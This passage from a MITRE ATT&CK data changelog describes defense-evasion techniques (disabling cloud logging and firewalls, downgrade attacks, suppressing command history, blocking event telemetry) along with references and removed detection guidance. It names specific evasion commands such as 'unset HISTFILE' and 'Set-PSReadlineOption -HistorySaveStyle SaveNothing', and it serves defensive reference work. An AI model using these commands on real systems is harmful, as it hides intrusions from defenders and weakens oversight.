CloudWatch Logs", + "description": "Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020.", + "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html" + }, + { + "source_name": "AWS Update Trail", + "description": "AWS. (n.d.). update-trail. Retrieved August 4, 2023.", + "url": "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/update-trail.html" + }, + { + "source_name": "Following the CloudTrail: Generating strong AWS security signals with Sumo Logic", + "description": "Dan Whalen. (2019, September 10). Following the CloudTrail: Generating strong AWS security signals with Sumo Logic. Retrieved October 16, 2020.", + "url": "https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/" + }, + { + "source_name": "Configuring Data Access audit logs", + "description": "Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020.", + "url": "https://cloud.google.com/logging/docs/audit/configure-data-access" + }, + { + "source_name": "Dark Reading Microsoft 365 Attacks 2021", + "description": "Kelly Sheridan. (2021, August 5). Incident Responders Explore Microsoft 365 Attacks in the Wild. Retrieved March 17, 2023.", + "url": "https://www.darkreading.com/threat-intelligence/incident-responders-explore-microsoft-365-attacks-in-the-wild/d/d-id/1341591" + }, + { + "source_name": "az monitor diagnostic-settings", + "description": "Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020.", + "url": "https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete" + }, + { + "source_name": "Pacu Detection Disruption Module", + "description": "Rhino Security Labs. (2021, April 29). Pacu Detection Disruption Module. Retrieved August 4, 2023.", + "url": "https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/modules/detection__disruption/main.py" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Syed Ummar Farooqh, McAfee", + "Prasad Somasamudram, McAfee", + "Sekhar Sarukkai, McAfee", + "Ibrahim Ali Khan", + "Alex Soler, AttackIQ", + "Janantha Marasinghe", + "Matt Snyder, VMware", + "Joe Gumke, U.S. Bank", + "Arun Seelagan, CISA" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "SaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Cloud Service: Cloud Service Modification\", \"User Account: User Account Modification\", \"Cloud Service: Cloud Service Disable\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.308000+00:00\", \"old_value\": \"2025-04-15 22:19:53.826000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor logs for API calls to disable logging. In AWS, monitor for: StopLogging and DeleteTrail.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: google.logging.v2.ConfigServiceV2.UpdateSink.(Citation: Configuring Data Access audit logs) In Azure, monitor for az monitor diagnostic-settings delete.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled. \"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Modification)", + "DS0025: Cloud Service (Cloud Service Disable)", + "DS0025: Cloud Service (Cloud Service Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0289: Detection Strategy for Disable or Modify Cloud Logs" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 21:00:48.814000+00:00", + "modified": "2025-10-24 17:48:47.755000+00:00", + "name": "Disable or Modify System Firewall", + "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. [Non-Standard Port](https://attack.mitre.org/techniques/T1571)).(Citation: change_rdp_port_conti)\n\nAdversaries may also modify host networking settings that indirectly manipulate system firewalls, such as interface bandwidth or network connection request thresholds.(Citation: Huntress BlackCat) Settings related to enabling abuse of various [Remote Services](https://attack.mitre.org/techniques/T1021) may also indirectly modify firewall rules.\n\nIn ESXi, firewall rules may be modified directly via the esxcli command line interface (e.g., via `esxcli network firewall set`) or via the vCenter user interface.(Citation: Trellix Rnasomhouse 2024)(Citation: Broadcom ESXi Firewall)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1562/004", + "external_id": "T1562.004" + }, + { + "source_name": "Broadcom ESXi Firewall", + "description": "Broadcom. (2025, March 24). Add Allowed IP Addresses for an ESXi Host by Using the VMware Host Client. Retrieved March 26, 2025.", + "url": "https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/vsphere/7-0/add-allowed-ip-addresses-for-an-esxi-host-by-using-the-vmware-host-client.html" + }, + { + "source_name": "Huntress BlackCat", + "description": "Carvey, H. (2024, February 28). BlackCat Ransomware Affiliate TTPs. Retrieved March 27, 2024.", + "url": "https://www.huntress.com/blog/blackcat-ransomware-affiliate-ttps" + }, + { + "source_name": "Trellix Rnasomhouse 2024", + "description": "Pham Duy Phuc, Max Kersten, No\u00ebl Keijzer, and Micha\u00ebl Schrijver. (2024, February 14). RansomHouse am See. Retrieved March 26, 2025.", + "url": "https://www.trellix.com/en-au/blogs/research/ransomhouse-am-see/" + }, + { + "source_name": "change_rdp_port_conti", + "description": "The DFIR Report. (2022, March 1). \"Change RDP port\" #ContiLeaks. Retrieved September 12, 2024.", + "url": "https://x.com/TheDFIRReport/status/1498657772254240768" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Firewall: Firewall Rule Modification\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\", \"Firewall: Firewall Disable\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:47.755000+00:00\", \"old_value\": \"2025-04-15 19:58:31.395000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1024: Restrict Registry Permissions", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0018: Firewall (Firewall Disable)", + "DS0018: Firewall (Firewall Rule Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0145: Detection of Disabled or Modified System Firewalls across OS Platforms." + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-08 14:06:28.212000+00:00", + "modified": "2025-10-24 17:49:02.550000+00:00", + "name": "Downgrade Attack", + "description": "Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. Downgrade attacks typically take advantage of a system\u2019s backward compatibility to force it into less secure modes of operation. \n\nAdversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or [Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation: Praetorian TLS Downgrade Attack 2014) For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL), which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)\n\nAdversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike Downgrade) On Windows systems, adversaries may downgrade the boot manager to a vulnerable version that bypasses Secure Boot, granting the ability to disable various operating system security mechanisms.(Citation: SafeBreach)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1562/010", + "external_id": "T1562.010" + }, + { + "source_name": "SafeBreach", + "description": "Alon Leviev. (2024, August 7). Windows Downdate: Downgrade Attacks Using Windows Updates. Retrieved January 8, 2025.", + "url": "https://www.safebreach.com/blog/downgrade-attacks-using-windows-updates/" + }, + { + "source_name": "Crowdstrike Downgrade", + "description": "Bart Lenaerts-Bergman. (2023, March 14). WHAT ARE DOWNGRADE ATTACKS?. Retrieved May 24, 2023.", + "url": "https://www.crowdstrike.com/cybersecurity-101/attack-types/downgrade-attacks/" + }, + { + "source_name": "Targeted SSL Stripping Attacks Are Real", + "description": "Check Point. (n.d.). Targeted SSL Stripping Attacks Are Real. Retrieved May 24, 2023.", + "url": "https://blog.checkpoint.com/research/targeted-ssl-stripping-attacks-are-real/amp/" + }, + { + "source_name": "CrowdStrike BGH Ransomware 2021", + "description": "Falcon Complete Team. (2021, May 11). Response When Minutes Matter: Rising Up Against Ransomware. Retrieved October 8, 2021.", + "url": "https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/" + }, + { + "source_name": "att_def_ps_logging", + "description": "Hao, M. (2019, February 27). Attack and Defense Around PowerShell Event Logging. Retrieved November 24, 2021.", + "url": "https://nsfocusglobal.com/attack-and-defense-around-powershell-event-logging/" + }, + { + "source_name": "inv_ps_attacks", + "description": "Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021.", + "url": "https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/" + }, + { + "source_name": "Mandiant BYOL 2018", + "description": "Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) \u2013 A Novel Red Teaming Technique. Retrieved October 8, 2021.", + "url": "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique" + }, + { + "source_name": "welivesecurity", + "description": "Martin Smol\u00e1r. (2023, March 1). BlackLotus UEFI bootkit: Myth confirmed. Retrieved February 11, 2025.", + "url": "https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/" + }, + { + "source_name": "Microsoft Security", + "description": "Microsoft Incident Response. (2023, April 11). Guidance for investigating attacks using CVE-2022-21894: The BlackLotus campaign. Retrieved February 12, 2025.", + "url": "https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/" + }, + { + "source_name": "Praetorian TLS Downgrade Attack 2014", + "description": "Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved October 8, 2021.", + "url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Mayuresh Dani, Qualys", + "Daniel Feichter, @VirtualAllocEx, Infosec Tirol", + "Arad Inbar, Fidelis Security" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Process: Process Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:02.550000+00:00\", \"old_value\": \"2025-04-15 19:58:46.929000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: powershell \\u2013v 2). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.\\n\\nMonitor for Windows event ID (EID) 400, specifically the EngineVersion field which shows the version of PowerShell running and may highlight a malicious downgrade attack.(Citation: inv_ps_attacks)\\n\\nMonitor network data to detect cases where HTTP is used instead of HTTPS.\\n\\nMonitor executed commands and arguments that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. Bitlocker can be disabled by calling DisableKeyProtectors and setting DisableCount to 0.(Citation: welivesecurity)\\n\\nMonitor for newly constructed files that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Adversaries can construct new files in the EFI System Partition.(Citation: Microsoft Security)(Citation: welivesecurity)\\n\\nMonitor for changes made to Windows Registry keys and/or values related to services and startup programs that correspond to security tools such as HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender. HVCI (Hypervisor-Protected Code Integrity) can be disabled by modifying the registry key to 0, allowing the system to run custom unsigned kernel code.(Citation: Microsoft Security)(Citation: welivesecurity)\", \"diff\": \"--- \\n+++ \\n@@ -1,11 +0,0 @@\\n-Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: powershell \\u2013v 2). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.\\n-\\n-Monitor for Windows event ID (EID) 400, specifically the EngineVersion field which shows the version of PowerShell running and may highlight a malicious downgrade attack.(Citation: inv_ps_attacks)\\n-\\n-Monitor network data to detect cases where HTTP is used instead of HTTPS.\\n-\\n-Monitor executed commands and arguments that may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. Bitlocker can be disabled by calling DisableKeyProtectors and setting DisableCount to 0.(Citation: welivesecurity)\\n-\\n-Monitor for newly constructed files that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Adversaries can construct new files in the EFI System Partition.(Citation: Microsoft Security)(Citation: welivesecurity)\\n-\\n-Monitor for changes made to Windows Registry keys and/or values related to services and startup programs that correspond to security tools such as HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender. HVCI (Hypervisor-Protected Code Integrity) can be disabled by modifying the registry key to 0, allowing the system to run custom unsigned kernel code.(Citation: Microsoft Security)(Citation: welivesecurity)\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1042: Disable or Remove Feature or Program", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Metadata)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0350: Detecting Downgrade Attacks" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 20:56:06.498000+00:00", + "modified": "2025-10-24 17:49:05.941000+00:00", + "name": "Impair Command History Logging", + "description": "Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. The `HISTFILE` environment variable is also used in some ESXi systems.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)\n\nAdversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. \n\nOn Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging (e.g. no logging).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1562/003", + "external_id": "T1562.003" + }, + { + "source_name": "Google Cloud Threat Intelligence ESXi VIBs 2022", + "description": "Alexander Marvi, Jeremy Koppen, Tufail Ahmed, and Jonathan Lepore. (2022, September 29). Bad VIB(E)s Part One: Investigating Novel Malware Persistence Within ESXi Hypervisors. Retrieved March 26, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence" + }, + { + "source_name": "Sophos PowerShell command audit", + "description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.", + "url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit" + }, + { + "source_name": "Microsoft PowerShell Command History", + "description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.", + "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7" + }, + { + "source_name": "Sophos PowerShell Command History Forensics", + "description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved November 17, 2024.", + "url": "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Vikas Singh, Sophos", + "Emile Kenning, Sophos", + "Austin Clark, @c2defense" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "2.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Sensor Health: Host Status\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:05.941000+00:00\", \"old_value\": \"2025-04-15 19:58:50.696000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious.\\n\\nMonitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform. Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious.\\n-\\n-Monitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform. Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.\"}}}", + "previous_version": "2.3", + "changelog_mitigations": { + "shared": [ + "M1028: Operating System Configuration", + "M1039: Environment Variable Permissions" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0013: Sensor Health (Host Status)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0563: Detection Strategy for Impair Defenses via Impair Command History Logging across OS platforms." + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-19 19:09:30.329000+00:00", + "modified": "2025-10-24 17:48:57.704000+00:00", + "name": "Indicator Blocking", + "description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting(Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW)(Citation: Microsoft About Event Tracing 2018), by tampering settings that control the collection and flow of event telemetry.(Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nFor example, adversaries may modify the `File` value in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security to hide their malicious actions in a new or different .evtx log file. This action does not require a system reboot and takes effect immediately.(Citation: disable_win_evt_logging) \n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products.\n\nIn Linux environments, adversaries may disable or reconfigure log processing tools such as syslog or nxlog to inhibit detection and monitoring capabilities to facilitate follow on behaviors. (Citation: LemonDuck) ESXi also leverages syslog, which can be reconfigured via commands such as `esxcli system syslog config set` and `esxcli system syslog config reload`.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)(Citation: Broadcom Configuring syslog on ESXi)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1562/006", + "external_id": "T1562.006" + }, + { + "source_name": "Google Cloud Threat Intelligence ESXi VIBs 2022", + "description": "Alexander Marvi, Jeremy Koppen, Tufail Ahmed, and Jonathan Lepore. (2022, September 29). Bad VIB(E)s Part One: Investigating Novel Malware Persistence Within ESXi Hypervisors. Retrieved March 26, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence" + }, + { + "source_name": "Broadcom Configuring syslog on ESXi", + "description": "Broadcom. (n.d.). Configuring syslog on ESXi. Retrieved March 27, 2025.", + "url": "https://knowledge.broadcom.com/external/article/318939/configuring-syslog-on-esxi.html" + }, + { + "source_name": "disable_win_evt_logging", + "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.", + "url": "https://ptylu.github.io/content/report/report.html?report=25" + }, + { + "source_name": "LemonDuck", + "description": "Manoj Ahuje. (2022, April 21). LemonDuck Targets Docker for Cryptomining Operations. Retrieved June 30, 2022.", + "url": "https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/" + }, + { + "source_name": "Microsoft Lamin Sept 2017", + "description": "Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A" + }, + { + "source_name": "Microsoft About Event Tracing 2018", + "description": "Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019.", + "url": "https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events" + }, + { + "source_name": "Medium Event Tracing Tampering 2018", + "description": "Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.", + "url": "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Rob Smith", + "Lucas Heiligenstein" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux", + "ESXi" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Sensor Health: Host Status\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:57.704000+00:00\", \"old_value\": \"2025-04-16 21:29:20.899000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\\n\\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\AUTOLOGGER_NAME\\\\{PROVIDER_GUID}\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\\n-\\n-Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\AUTOLOGGER_NAME\\\\{PROVIDER_GUID}\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0013: Sensor Health (Host Status)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + 